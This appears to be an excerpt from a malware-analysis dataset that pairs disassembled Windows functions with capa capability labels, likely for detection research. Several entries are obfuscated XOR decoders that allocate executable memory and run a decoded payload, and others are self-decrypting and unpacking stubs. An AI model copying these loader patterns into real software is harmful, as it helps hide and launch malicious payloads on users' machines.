joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010220
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1001022f
pop dword [ebp - 4]
mov eax, 0x1001022f
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xd97d22fb
sub dword [ebp - 0x14], 0x8b2addb0
mov dword [ebp - 0x10], 0xeb84aea1
add dword [ebp - 0x10], 0x46ae9da4
mov dword [ebp - 0xc], 0xcf3a72fe
add dword [ebp - 0xc], 0x7d11d130
mov dword [ebp - 8], 0xe27c209a
add dword [ebp - 8], 0x1d83df66
lea eax, [ebp - 0x14]
push eax
mov eax, 0x50e9f6c3
sub eax, 0x40e5f687
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x50386753
sub dword [ebp - 0x14], 0xdbc5fdfd
mov dword [ebp - 0x10], 0xc5bd80df
add dword [ebp - 0x10], 0x7baee096
mov dword [ebp - 0xc], 0x75849a94
sub dword [ebp - 0xc], 0x12152e28
mov dword [ebp - 8], 0xd41181ee
sub dword [ebp - 8], 0xd41181ee
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x49bab
push 0
call eax
mov ecx, 0x52d8
mov ebx, eax
mov esi, 0xa3f4caa7
add esi, 0x6c10a359
add esi, dword [ebp - 4]
mov edx, 0xb4207f62
mov edi, dword [esi]
xor edi, edx
mov dword [ebx], edi
add ebx, 0x9db480dc
sub ebx, 0x9db480d8
add esi, 0xa6380132
sub esi, 0xa638012e
loop 0x1001033b
add eax, 0x13e33
xor ebx, ebx
add ebx, eax
add eax, 0xf2c47868
sub eax, 0xf2c47863
mov ecx, 0x251539a9
sub ecx, 0x151539a9
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x10031820
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1004f37c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10031850
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10031880
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10031880
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1003197a
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100318a9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100318dd
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x1003197a
cmp eax, 1
jle 0x1003193b
cmp eax, 3
jne 0x1003197a
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call sym.ahclient.dll_DisplayAdobeHelpClientPage
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10031959
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1003197a
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1003197a
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10038620
mov esp, ebp
pop ebp
ret 4
Function at 0x10036f80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ecf8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1004f37c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1004f338]
cmp eax, 0xffffffff
jne 0x10036fb6
xor ebx, ebx
jmp 0x10036fbf
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], 0
test ebx, ebx
je 0x10036fff
mov eax, dword [ebx + 0x18]
mov esi, dword [ebx + 0xc]
test eax, eax
jne 0x1003703e
test esi, esi
jne 0x10037042
push 0x10035760
push 0x10050e58
call sym.ahclient.dll_DisplayAdobeHelpClientPage
mov eax, dword [0x1004f338]
add esp, 8
cmp eax, 0xffffffff
je 0x10036fff
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov dword [ebp - 4], 1
test ebx, ebx
je 0x1003702c
or eax, 0xffffffff
lock xadd dword [ebx + 4], eax
jne 0x1003702c
mov eax, dword [ebx]
mov ecx, ebx
push 0
call dword [eax]
push ebx
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x10037084
mov eax, dword [esi + 4]
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
test ecx, ecx
je 0x1003706d
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esi]
mov ecx, edi
push 0
mov eax, dword [edi]
call dword [eax]
push edi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
push esi
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [ebx + 0xc]
test esi, esi
jne 0x10037042
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x10036fd0
nop
mov esi, dword [ebx + 0x14]
mov esi, dword [esi]
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x100370a9
mov edx, dword [esi + 0x1c]
test edx, edx
je 0x100370a9
mov eax, dword [ecx]
push edx
call dword [eax + 4]
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebx + 0x14]
call sym.ahclient.dll_DisplayAdobeHelpClientPage
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x10037090
jmp 0x10036fd0

Function at 0x100370d0
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
mov esi, ecx
mov edx, dword [esi]
lea eax, [edx + 0x10]
push eax
push 4
push edx
push 0x10037130
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov ebx, eax
add esp, 0x18
test ebx, ebx
jne 0x100370fa
pop esi
xor al, al
pop ebx
ret
mov eax, dword [esi]
push edi
add eax, 4
lock inc dword [eax]
mov edi, dword [esi]
mov eax, dword [edi + 8]
test eax, eax
je 0x10037118
cmp eax, 0xffffffff
je 0x10037118
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], ebx
mov eax, dword [esi]
push dword [eax + 8]
call dword [sym.imp.kernel32.dll_ResumeThread]
pop edi
pop esi
mov al, 1
pop ebx
ret
Function at 0x426f00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x425015
lea edi, [esi - 0x24015]
push edi
or ebp, 0xffffffff
jmp 0x426f22
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x426f29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x426f18
mov eax, 1
add ebx, ebx
jne 0x426f3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x426f30
jne 0x426f4c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x426f30
xor ecx, ecx
sub eax, 3
jb 0x426f60
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x426fd2
mov ebp, eax
add ebx, ebx
jne 0x426f6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x426f78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x426f9c
inc ecx
add ebx, ebx
jne 0x426f88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x426f7d
jne 0x426f99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x426f7d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x426fbc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x426fad
jmp 0x426f1e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x426fbc
add edi, ecx
jmp 0x426f1e
pop esi
mov edi, esi
mov ecx, 0x52
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x426fda
cmp byte [edi], 2
jne 0x426fda
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x426fdf
lea edi, [esi + 0x24000]
mov eax, dword [edi]
or eax, eax
je 0x42704e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x395f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3965c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42700c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x39660]
or eax, eax
je 0x427048
mov dword [ebx], eax
add ebx, 4
jmp 0x427029
call dword [esi + 0x39670]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x42707f
cmp al, 0xef
ja 0x427072
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x427054
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x427061
mov ebp, dword [esi + 0x39664]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x270da]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4270cb
sub esp, 0xffffff80
jmp 0x4013e0
Function at 0x1001f187
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1001f196
pop dword [ebp - 0x44]
mov eax, 0x1001f196
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xb6a346d8
sub dword [ebp - 0x54], 0x6851018d
mov dword [ebp - 0x50], 0xc44ba3c7
add dword [ebp - 0x50], 0x6de7a87e
mov dword [ebp - 0x4c], 0xd705cd06
sub dword [ebp - 0x4c], 0x8ab988d8
mov dword [ebp - 0x48], 0x625e4e33
add dword [ebp - 0x48], 0x9da1b1cd
lea eax, [ebp - 0x54]
push eax
mov eax, 0x4d7c8cae
sub eax, 0x3d7c7b7e
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x249f43c7
add dword [ebp - 0x54], 0x4fd3258f
mov dword [ebp - 0x50], 0x3d64dee5
sub dword [ebp - 0x50], 0xfbf87d70
mov dword [ebp - 0x4c], 0x326c3b7c
sub dword [ebp - 0x4c], 0xcefccf10
mov dword [ebp - 0x48], 0x70a81dcd
sub dword [ebp - 0x48], 0x70a81dcd
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x6dafb583
add eax, 0xa2505b91
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x41688
push 0
call eax
mov ecx, 0x5be2474e
sub ecx, 0x5be1f39c
mov edi, eax
mov esi, 0x1002f800
add esi, dword [ebp - 0x44]
mov ebx, 0x3d975b25
sub ebx, 0x83479108
sub dword [ebp - 0x2c], ebx
mov edx, dword [esi]
xor dword [ebp - 0x18], eax
add edx, ebx
sub dword [ebp - 0x2c], 0x690b2ec2
mov dword [edi], edx
mov dword [ebp - 4], 0x5143d34
add edi, 0x74e6d780
add edi, 0x8b192884
add esi, 4
loop 0x1001f2ad
add eax, 0x33505859
add eax, 0xccb0e942
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x100269ee
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100060ec]
jne 0x10027054
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1002bda8], eax
mov dword [0x1002bda4], ecx
mov dword [0x1002bda0], edx
mov dword [0x1002bd9c], ebx
mov dword [0x1002bd98], esi
mov dword [0x1002bd94], edi
mov word [0x1002bdc0], ss
mov word [0x1002bdb4], cs
mov word [0x1002bd90], ds
mov word [0x1002bd8c], es
mov word [0x1002bd88], fs
mov word [0x1002bd84], gs
pushfd
pop dword [0x1002bdb8]
mov eax, dword [ebp]
mov dword [0x1002bdac], eax
mov eax, dword [ebp + 4]
mov dword [0x1002bdb0], eax
lea eax, [ebp + 8]
mov dword [0x1002bdbc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1002bcf8], 0x10001
mov eax, dword [0x1002bdb0]
mov dword [0x1002bcac], eax
mov dword [0x1002bca0], 0xc0000409
mov dword [0x1002bca4], 1
mov eax, dword [0x100060ec]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1002baac]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1002bcf0], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x100060fc
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1002bcf0], 0
jne 0x10027140
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x40e063
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419418]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004097cf
mov dword [ebp - 0x14], eax
cmp dword [0x813d24], esi
jne 0x40e156
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40e0e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40e236
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40e236
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40e236
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x813d24], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x813d28], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x813d2c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x813d34], eax
test eax, eax
je 0x40e153
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x813d30], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40e17b
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40e16e
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40e190
push 4
pop eax
jmp 0x40e238
cmp dword [ebp - 0x14], esi
je 0x40e190
push dword [0x813d24]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40e175
mov eax, dword [0x813d30]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40e1ee
cmp dword [0x813d34], edi
je 0x40e1ee
push eax
call ebx
push dword [0x813d34]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40e1ee
test eax, eax
je 0x40e1ee
call ecx
test eax, eax
je 0x40e1e3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40e1e3
test byte [ebp - 8], 1
jne 0x40e1ee
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40e21e
mov eax, dword [0x813d28]
cmp eax, edi
je 0x40e21b
push eax
call ebx
test eax, eax
je 0x40e21b
call eax
mov esi, eax
test esi, esi
je 0x40e21b
mov eax, dword [0x813d2c]
cmp eax, edi
je 0x40e21b
push eax
call ebx
test eax, eax
je 0x40e21b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x813d24]
call ebx
test eax, eax
je 0x40e236
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40e238
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040419b
mov esp, ebp
pop ebp
ret
Function at 0x407c1f
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [0x41503c]
push edi
push dword [0x433594]
call esi
push dword [0x433590]
mov dword [ebp - 4], eax
call esi
mov ebx, eax
mov eax, dword [ebp - 4]
cmp ebx, eax
jb 0x407cce
mov edi, ebx
sub edi, eax
lea ecx, [edi + 4]
cmp ecx, 4
jb 0x407cce
push eax
dec ebp
pop edx
nop
add byte [ebx], al
add byte [eax], al
add byte [eax + eax], al
add byte [eax], al
invalid
or eax, 0x240a0d
add byte [eax], al
add byte [eax], al

Function at 0x407cd7
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
lodsd eax, dword [esi]
js 0x407d4d
add ecx, ebp
sbb dword [edi], ebx
push edx
jmp 0xe9929bff

Function at 0x407d59
Capabilities:
Packed with generic packer

Disassembly:
push edx
push edx
imul esp, dword [ebx + 0x68], 0x521f19e9
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push eax
inc ebp
add byte [eax], al
dec esp
add dword [0x722c0300], eax
push esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
loopne 0x407d5f
and al, byte [ecx]
or eax, dword [ecx]
or al, 0
add byte [esi], dl
add al, byte [eax]
add byte [edx + 2], dl
add byte [eax], al
js 0x407d30
add byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [eax], dh
add al, byte [eax]
add byte [eax], al
inc eax
add byte [eax], al
adc byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [0x100], al
add byte [eax], al
add byte [0x100], al
add byte [eax], al
add byte [eax], al
rol byte [eax + eax], 1
add byte [eax + eax], al
add byte [edi], dl
syscall
add byte [edx], al
add byte [eax - 0x7f], al
invalid

Function at 0x407daa
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], dl
add byte [eax], al
adc byte [eax], al
add byte [eax], al
add byte [eax], dl
add byte [eax], al
adc byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ah, al
int3
Function at 0x4082ec
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x4311fc], 0
mov ebp, esp
push edi
mov ecx, dword [ebp + 0xc]
push esi
push ebx
mov ebx, dword [ebp + 0x10]
jne 0x40832d
xor edx, edx
mov eax, edx
mov esi, 8
mov edi, eax
and eax, 1
neg eax
shr edi, 1
and eax, 0xedb88320
xor eax, edi
dec esi
jne 0x40830a
mov dword [edx*4 + 0x4311f8], eax
inc edx
cmp edx, 0x100
jne 0x408303
mov eax, dword [ebp + 8]
not eax
jmp 0x408347
mov dl, byte [ecx]
dec ebx
inc ecx
xor edx, eax
movzx edx, dl
shr eax, 8
xor eax, dword [edx*4 + 0x4311f8]
test ebx, ebx
jne 0x408334
pop ebx
not eax
pop esi
pop edi
pop ebp
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x405665
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405923
test bl, 8
mov dword [ebp - 0xc], eax
je 0x4056a4
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x42f488], eax
jmp 0x40582e
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x4056be
test eax, eax
je 0x4057dc
test bl, 2
je 0x4057dc
mov esi, 0x42b870
push edi
push esi
call fcn.00405dc3
cmp dword [ebp + 8], 0
je 0x4056dd
push 0x40a3a4
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x4056e3
push edi
call fcn.0040587c
cmp byte [edi], 0
jne 0x4056f1
cmp byte [0x42b870], 0x5c
jne 0x4056fc
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4057d2
lea eax, [ebp - 0x120]
push 0x3f
push eax
lea esi, [ebp - 0x120]
call fcn.00405860
cmp byte [eax], 0
je 0x405742
cmp byte [ebp - 0x1c], 0
je 0x405742
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x405758
mov al, byte [esi + 1]
test al, al
je 0x4057b1
cmp al, 0x2e
jne 0x405758
cmp byte [esi + 2], 0
je 0x4057b1
push esi
push ebx
call fcn.00405dc3
test byte [ebp - 0x14c], 0x10
je 0x40577d
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4057b1
push dword [ebp + 0xc]
push edi
call fcn.00405665
jmp 0x4057b1
push dword [ebp - 4]
push edi
call fcn.0040561d
test eax, eax
jne 0x4057a9
cmp dword [ebp - 4], eax
je 0x4057a1
push edi
push 0xfffffffffffffff1
call fcn.00404fdc
push 0
push edi
call fcn.00405c7e
jmp 0x4057b1
inc dword [0x42f488]
jmp 0x4057b1
push edi
push 0xfffffffffffffff2
call fcn.00404fdc
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405720
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x4057dc
and byte [ebx - 1], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x40582e
cmp dword [ebp - 0xc], esi
jne 0x4057f0
inc dword [0x42f488]
jmp 0x40582e
push edi
call fcn.004060c7
test eax, eax
je 0x40582e
push edi
call fcn.00405835
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.0040561d
test eax, eax
jne 0x405826
cmp dword [ebp - 4], esi
je 0x4057e8
push edi
push 0xfffffffffffffff1
call fcn.00404fdc
push esi
push edi
call fcn.00405c7e
jmp 0x40582e
push edi
push 0xffffffffffffffe5
call fcn.00404fdc
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1002e935
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002e9db
lea eax, [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1002e996
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x1002e994
push 0x458
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
jmp 0x1002e9d9
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 0x34]
call fcn.10012ae3
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
jmp 0x1002e9f3
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
push 1
push 0x265c
push dword [ebp - 0x3c]
call fcn.1002e523
add esp, 0xc
mov esp, ebp
pop ebp
ret